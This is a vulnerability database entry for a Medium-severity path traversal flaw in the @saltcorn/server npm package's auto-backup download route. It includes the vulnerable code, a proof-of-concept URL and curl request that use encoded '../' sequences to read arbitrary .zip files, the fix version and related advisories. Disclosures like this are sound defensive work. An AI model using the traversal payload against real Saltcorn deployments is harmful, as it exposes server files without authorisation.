Medium

@saltcorn/server arbitrary file zip read and download when downloading auto backups

  • Disclosed: 03.10.2024
  • Updated: 11.10.2026 10:22

Summary

A user with admin permission can read and download arbitrary zip files when downloading auto backups. The file name used to identify the zip file is not properly sanitized when passed to res.download API.

Details

js
router.get(
  "/auto-backup-download/:filename",
  isAdmin,
  error_catcher(async (req, res) => {
    const { filename } = req.params; // [1] source
    [...]
    if (
      !isRoot ||
      !(filename.startsWith(backup_file_prefix) && filename.endsWith(".zip")) // [2]
    ) {
      res.redirect("/admin/backup");
      return;
    }
    const auto_backup_directory = getState().getConfig("auto_backup_directory");
    res.download(path.join(auto_backup_directory, filename), filename); // [3] sink
  })
);

Steps to reproduce (PoC)

  • create a file with .zip extension under /tmp folder:
echo "secret12345" > /tmp/secret.zip
  • log into the application as an admin user
  • visit the url http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip
  • download the zip file and then check if the zip was indeed downloaded:
bash
cat secret.zip
secret12345
  • Alternatively send the following request to retrieve the file just created.
bash
curl -i -X $'GET' \
    -H $'Host: localhost:3000' \
    -H $'Connection: close' \
    -b $'connect.sid=VALID_CONNECT_SID_COOKIE' \
    $'http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip'

NOTE: To obtain a valid connect.sid cookie, just open the developer console while logged and retrieve the cookie value.

Impact

Arbitrary zip files download (information disclosure).

Recommended Mitigation

Resolve the filename parameter before checking if it starts with backup_file_prefix .

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package @saltcorn/server < 1.0.0-beta.14 1.0.0-beta.14

References

CVSS score 4.4/10
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N
Weakness (CWE)
CWE-22
Platform
npm
Package
@saltcorn/server
Disclosed
03.10.2024
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-277h-px4m-62q8 - CC BY 4.0

Vulnerability history: @saltcorn/server

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (9) in the archive
Total entries
9
First → latest
10.2024 04.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 2
  • High 3
  • Medium 4

Disclosures per year

  1. 2024: 5
  2. 2025: 0
  3. 2026: 4
Severity:
  1. Critical · 9.9 CVE-2026-41478 < 1.4.6, >= 1.5.0-beta.0, < 1.5.6, >= 1.6.0-alpha.0, < 1.6.0-beta.5 1.4.6, 1.5.6, 1.6.0-beta.5
  2. High · 8.2 CVE-2026-40163 < 1.4.5, >= 1.5.0-beta.0, < 1.5.5, >= 1.6.0-alpha.0, < 1.6.0-beta.4 1.4.5, 1.5.5, 1.6.0-beta.4
  3. Critical · 9.6 ghsa-cr3w-cw5w-h3fj >= 1.1.1, < 1.5.0-beta.19 1.5.0-beta.19
  4. @saltcorn/server arbitrary file zip read and download when downloading auto backups this entry
    Medium · 4.4 ghsa-277h-px4m-62q8 < 1.0.0-beta.14 1.0.0-beta.14

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